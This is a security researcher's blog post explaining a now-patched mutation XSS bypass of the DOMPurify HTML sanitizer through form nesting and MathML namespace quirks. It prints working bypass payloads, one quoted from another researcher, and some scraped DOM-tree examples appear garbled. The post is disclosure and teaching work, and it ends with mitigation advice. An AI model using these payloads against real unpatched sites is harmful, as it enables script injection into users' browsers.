

## Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass

MICHAŁ BENTKOWSKI | September 21, 2020 | Research

In this blogpost I'll explain my recent bypass in [DOMPurify](#) – the popular HTML sanitizer library. In a nutshell, DOMPurify's job is to take an untrusted HTML snippet, supposedly coming from an end-user, and remove all elements and attributes that can lead to Cross-Site Scripting (XSS).

This is the bypass:

```
1 <form>
2 <math><mtext>
3 </form><form>
4 <mglyph>
5 <style></math><img src onerror=alert(1)>
```

Believe me that there's not a single element in this snippet that is superfluous 😊

To understand why this particular code worked, I need to give you a ride through some interesting features of HTML specification that I used to make the bypass work.

### Usage of DOMPurify

Let's begin with the basics, and explain how DOMPurify is usually used. Assuming that we have an untrusted HTML in `htmlMarkup` and we want to assign it to a certain `div`, we use the following code to sanitize it using DOMPurify and assign to the `div`:

```
1 div.innerHTML = DOMPurify.sanitize(htmlMarkup)
```

In terms of parsing and serializing HTML as well as operations on the DOM tree, the following operations happen in the short snippet above:

1. `htmlMarkup` is parsed into the DOM Tree.
2. DOMPurify sanitizes the DOM Tree (in a nutshell, the process is about walking through all elements and attributes in the DOM tree, and deleting all nodes that are not in the allow-list).
3. The DOM tree is serialized back into the HTML markup.
4. After assignment to `innerHTML`, the browser parses the HTML markup again.
5. The parsed DOM tree is appended into the DOM tree of the document.

Let's see that on a simple example. Assume that our initial markup is `A<img src=1 onerror=alert(1)>B`. In the first step it is parsed into the following tree:

```
├─#text: "A"
└─<IMG src="1" onerror="alert(1)" />
   └─#text: "B"
```

Then, DOMPurify sanitizes it, leaving the following DOM tree:

```
├─#text: "A"
└─<IMG src="1" />
   └─#text: "B"
```

Then it is serialized to:

```
1 AB
```

And this is what `DOMPurify.sanitize` returns. Then the markup is parsed again by the browser on assignment to `innerHTML`:

```
├─#text: "A"
└─<IMG src="1" />
   └─#text: "B"
```

The DOM tree is identical to the one that DOMPurify worked on, and it is then appended to the document.

DOM tree. But this is not true at all. There's even [a warning in the HTML spec](#) in a section about serializing HTML fragments:

It is possible that the output of this algorithm [serializing HTML], if parsed with an HTML parser, will not return the original tree structure. **Tree structures that do not roundtrip a serialize and reparse step can also be produced by the HTML parser itself**, although such cases are typically non-conforming.

The important take-away is that serialize-parse roundtrip is not guaranteed to return the original DOM tree (this is also a root cause of a type of XSS known as **mutation XSS**). While usually these situations are a result of some kind of parser/serializer error, there are at least two cases of spec-compliant mutations.

## Nesting FORM element

One of these cases is related to the FORM element. It is quite special element in the HTML because it cannot be nested in itself. The specification is explicit that it cannot have any descendant that is also a FORM:



This can be confirmed in any browser, with the following markup:

```
1 <form id=form1>
2   INSIDE_FORM1
3 <form id=form2>
4   INSIDE_FORM2
```

Which would yield the following DOM tree:

```
└─<FORM id="form1">
  └─#text: "INSIDE_FORM1 INSIDE_FORM2"
```

The second `form` is completely omitted in the DOM tree just as it wasn't ever there.

Now comes the interesting part. If we keep reading the HTML specification, it actually gives [an example](#) that with a slightly broken markup with mis-nested tags, it is possible to create nested forms. Here it comes (taken directly from the spec):

```
1 <form id="outer"><div></form><form id="inner"><input>
```

It yields the following DOM tree, which contains a nested form element:

```
└─<FORM id="outer">
  └─<DIV>
    └─<FORM id="inner">
      └─<INPUT/>
```

This is not a bug in any particular browser; it results directly from the HTML spec, and is described in the algorithm of parsing HTML. Here's the general idea:

- When you open a `<form>` tag, the parser needs to keep record of the fact that it was opened with a **form element pointer** (that's how it's called in the spec). If the pointer is not `null`, then `form` element cannot be created.
- When you end a `<form>` tag, the form element pointer is always set to `null`.

Thus, going back to the snippet:

```
1 <form id="outer"><div></form><form id="inner"><input>
```

In the beginning, the form element pointer is set to the one with `id="outer"`. Then, a `div` is being started, and the `</form>` end tag set the form element pointer to `null`. Because it's `null`, the next form with `id="inner"` can be created; and because we're currently within `div`, we effectively have a `form` nested in

```
1 <form id="outer"><div><form id="inner"><input></form></div></form>
```

Note that this markup no longer has any mis-nested tags. And when the markup is parsed again, the following DOM tree is created:

```
└─<FORM id="outer">
  └─<DIV>
    └─<INPUT/>
```

So this is a proof that serialize-reparse roundtrip is not guaranteed to return the original DOM tree. And even more interestingly, this is basically a **spec-compliant mutation**.

Since the very moment I was made aware of this quirk, I've been pretty sure that it must be possible to somehow abuse it to bypass HTML sanitizers. And after a long time of not getting any ideas of how to make use of it, I finally stumbled upon another quirk in HTML specification. But before going into the specific quirk itself, let's talk about my favorite Pandora's box of the HTML specification: foreign content.

## Foreign content

Foreign content is a like a Swiss Army knife for breaking parsers and sanitizers. I used it in my [previous DOMPurify bypass](#) as well as in [bypass of Ruby sanitize library](#).

The HTML parser can create a DOM tree with elements of three namespaces:

- HTML namespace (<http://www.w3.org/1999/xhtml>)
- SVG namespace (<http://www.w3.org/2000/svg>)
- MathML namespace (<http://www.w3.org/1998/Math/MathML>)

By default, all elements are in HTML namespace; however if the parser encounters `<svg>` or `<math>` element, then it "switches" to SVG and MathML namespace respectively. And both these namespaces make foreign content.

In foreign content markup is parsed differently than in ordinary HTML. This can be most clearly shown on parsing of `<style>` element. In HTML namespace, `<style>` can only contain text; no descendants, and HTML entities are not decoded. The same is not true in foreign content: foreign content's `<style>` can have child elements, and entities are decoded.

Consider the following markup:

```
1 <style><a>ABC</style><svg><style><a>ABC
```

It is parsed into the following DOM tree

```
└─<html style>
  └─#text: "<a>ABC"
    └─<svg svg>
      └─<svg style>
        └─<svg a>
          └─#text: "ABC"
```

**Note:** from now on, all elements in the DOM tree in this blogpost will contain a namespace. So `html style` means that it is a `<style>` element in HTML namespace, while `svg style` means that it is a `<style>` element in SVG namespace.

The resulting DOM tree proves my point: `html style` has only text content, while `svg style` is parsed just like an ordinary element.

Moving on, it may be tempting to make a certain observation. That is: if we are inside `<svg>` or `<math>` then all elements are also in non-HTML namespace. But this is not true. There are certain elements in HTML specification called **MathML text integration points** and **HTML integration point**. And the children of these elements have HTML namespace (with certain exceptions I'm listing below).

Consider the following example:

```
1 <math>
2 <style></style>
3 <math><style></style>
```

It is parsed into the following DOM tree:

```
└─<math math>
  └─#text: " "
    └─#text: " "
      └─#text: " "
```

Note how the `style` element that is a direct child of `math` is in MathML namespace, while the `style` element in `mtext` is in HTML namespace. And this is because `mtext` is **MathML text integration points** and makes the parser switch namespaces.

MathML text integration points are:

- `math mi`
- `math mo`
- `math mn`
- `math ms`

HTML integration points are:

- `math annotation-xml` if it has an attribute called `encoding` whose value is equal to either `text/html` or `application/xhtml+xml`
- `svg foreignObject`
- `svg desc`
- `svg title`

I always assumed that all children of MathML text integration points or HTML integration points have HTML namespace by default. How wrong was !! The HTML specification says that children of MathML text integration points are by default in HTML namespace with two exceptions: `mglyph` and `malignmark`. And this only happens if they are a direct child of MathML text integration points.

Let's check that with the following markup:

```
1 <math>
2 <mtext>
3 <mglyph></mglyph>
4 <a></mglyph>
```

```
└─<math math>
  └─<math mtext>
    └─<math mglyph/>
      └─<html a>
        └─<html mglyph/>
```

Notice that `mglyph` that is a direct child of `mtext` is in MathML namespace, while the one that is a child of `html a` element is in HTML namespace.

Assume that we have a "current element", and we'd like determine its namespace. I've compiled some rules of thumb:

- Current element is in the namespace of its parent unless conditions from the points below are met.
- If current element is `<svg>` or `<math>` and parent is in HTML namespace, then current element is in SVG or MathML namespace respectively.
- If parent of current element is an HTML integration point, then current element is in HTML namespace unless it's `<svg>` or `<math>`.
- If parent of current element is an MathML integration point, then current element is in HTML namespace unless it's `<svg>`, `<math>`, `<mglyph>` or `<malignmark>`.
- If current element is one of `<b>`, `<big>`, `<blockquote>`, `<body>`, `<br>`, `<center>`, `<code>`, `<dd>`, `<div>`, `<dl>`, `<dt>`, `<em>`, `<embed>`, `<h1>`, `<h2>`, `<h3>`, `<h4>`, `<h5>`, `<h6>`, `<head>`, `<hr>`, `<i>`, `<img>`, `<li>`, `<listing>`, `<menu>`, `<meta>`, `<nobr>`, `<ol>`, `<p>`, `<pre>`, `<ruby>`, `<s>`, `<small>`, `<span>`, `<strong>`, `<strike>`, `<sub>`, `<sup>`, `<table>`, `<tt>`, `<u>`, `<ul>`, `<var>` Or `<font>` with `color`, `face` or `size` attributes defined, then all elements on the stack are closed until a MathML text integration point, HTML integration point or element in HTML namespace is seen. Then, the current element is also in HTML namespace.

When I found this gem about `mglyph` in HTML spec, I immediately knew that it was what I'd been looking for in terms of abusing `html` form mutation to bypass sanitizer.

## DOMPurify bypass

So let's get back to the payload that bypasses DOMPurify:

```
<form><math><mtext></form><form><math><mglyph></math><img src onerror=alert(1)>
```

We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it. You can read more at our Privacy Policy (link below).

Ok

```

└─<html form>
  └─<math math>
    └─<math mtext>
      └─<html form>
        └─<html mglyph>
          └─<html style>
            └─#text: "</math><img src onerror=alert(1)>"

```

This DOM tree is harmless. All elements are in the allow-list of DOMPurify. Note that `mglyph` is in HTML namespace. And the snippet that looks like XSS payload is just a text within `html style`. Because there's a nested `html form`, we can be pretty sure that this DOM tree is going to be mutated on reparsing.

So DOMPurify has nothing to do here, and returns a serialized HTML:

```

1 <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math>

```

This snippet has nested `form` tags. So when it is assigned to `innerHTML`, it is parsed into the following DOM tree:

```

└─<html form>
  └─<math math>
    └─<math mtext>
      └─<math mglyph>
        └─<math style/>
      └─<html img src="" onerror="alert(1)"/>

```

So now the second `html form` is not created and `mglyph` is now a direct child of `mtext`, meaning it is in MathML namespace. Because of that, `style` is also in MathML namespace, hence its content is not treated as a text. Then `</math>` closes the `<math>` element, and now `img` is created in HTML namespace, leading to XSS.

## Summary


To summarize, this bypass was possible because of a few factors:

- The typical usage of DOMPurify makes the HTML markup to be parsed twice.
- HTML specification has a quirk, making it possible to create nested `form` elements. However, on reparsing, the second `form` will be gone.
- `mglyph` and `malignmark` are special elements in the HTML spec in a way that they are in MathML namespace if they are a direct child of MathML text integration point even though all other tags are in HTML namespace by default.
- Using all of the above, we can create a markup that has two `form` elements and `mglyph` element that is initially in HTML namespace, but on reparsing it is in MathML namespace, making the subsequent `style` tag to be parsed differently and leading to XSS.

After Cure53 pushed update to my bypass, another one was found:

**Sapra**

@0xsapra · [Follow](#)



1-day mxss exploit payload for  
[#DOMPurify](#) Library found during  
[#TWCTF](#) with [@sqrtev](#) [@0xParrot](#)  
[@web\\_payload](#) ..  
 team [@GuesserSuper](#)

```
<math><mtext><table><mqlyph>
```

I leave it as an exercise for the reader to figure it out why this payload worked. Hint: the root cause is the same as in the bug I found.

The bypass also made me realize that the pattern of

```

1 div.innerHTML = DOMPurify.sanitize(html)

```

Is prone to mutation XSS-es by design and it's just a matter of time to find another instances. I strongly suggest that you pass `RETURN_DOM` or `RETURN_DOM_FRAGMENT` options to DOMPurify, so that the serialize-

As a final note, I found the DOMPurify bypass when preparing materials for my upcoming remote training called **XSS Academy**. While it hasn't been officially announced yet, details (including agenda) will be published within two weeks. I will teach about interesting XSS tricks with lots of emphasis on breaking parsers and sanitizers. If you already know that you're interested, please contact us on [training@securitum.com](mailto:training@securitum.com) and we'll have your seat booked!

Author: Michał Bentkowski

Tagged: dompurify, XSS

## Next posts:

Prototype pollution – and bypassing client-side HTML sanitizers

Helping secure DOMPurify (part 1)



**Michał Bentkowski**

Chief Security Researcher, **Securitum**

8+ years of penetration testing and bounty hunting. Listed on Google's **hall of fame** at place 0x08. Numerous publications in English and Polish (distinguished <https://sekurak.pl/> author).

He speaks XSS.



→ All posts by author

Find us on LinkedIn!



Research updates?

E-mail address \*

We keep your data private and use it only for research updates newsletter. We also hate spam! Read our Privacy Policy.

Subscribe!

## Categories

Education	42
Research	33
Uncategorized	1

## Tags

Active Directory · Analysis · Apache · Browser security · **Bug Bounty** · Bypass · CA · Camera · Car · CCTV · Censys · Cisco · Cordova · Credit Card · Cryptography · CSS · Desktop · dompurify · **Google Hack** · hacking · Hangouts · HTTP · HTTP/2 · IoT · javascript · Linux · Malware · **Mozilla Firefox** · NMAP · OSINT · Paypass · RCE · Reconnaissance · Shodan · SSL · Takeover · Upload · Vulnerability · **Web Hacking** · WiFi · windows · **XSS** · XSSMas · Zoomeye

## Archives

2022	9
2021	3
2020	10
2019	8
2018	10
2017	18
2016	8
2015	5

Follow us on:

IT

## Pages

[Research Home Page](#)

[Penetration Testing](#)

[Privacy Policy](#)

[About us](#)

[Contact us](#)

## Recent Posts

Amazon once again lost control (for 3 hours) over the IP pool in a BGP Hijacking attack

[October 28, 2022](#)

SOCMINT – or rather OSINT of social media

[October 15, 2022](#)

PyScript – or rather Python in your browser + what can be done with it?

[September 10, 2022](#)

Part 3. Windows security: reconnaissance of Active Directory environment with BloodHound.

[August 19, 2022](#)

Part 1. Windows security: reconnaissance of Active Directory environment with BloodHound.

[July 2, 2022](#)

©2022 [research.securitum.com](https://research.securitum.com)

Ok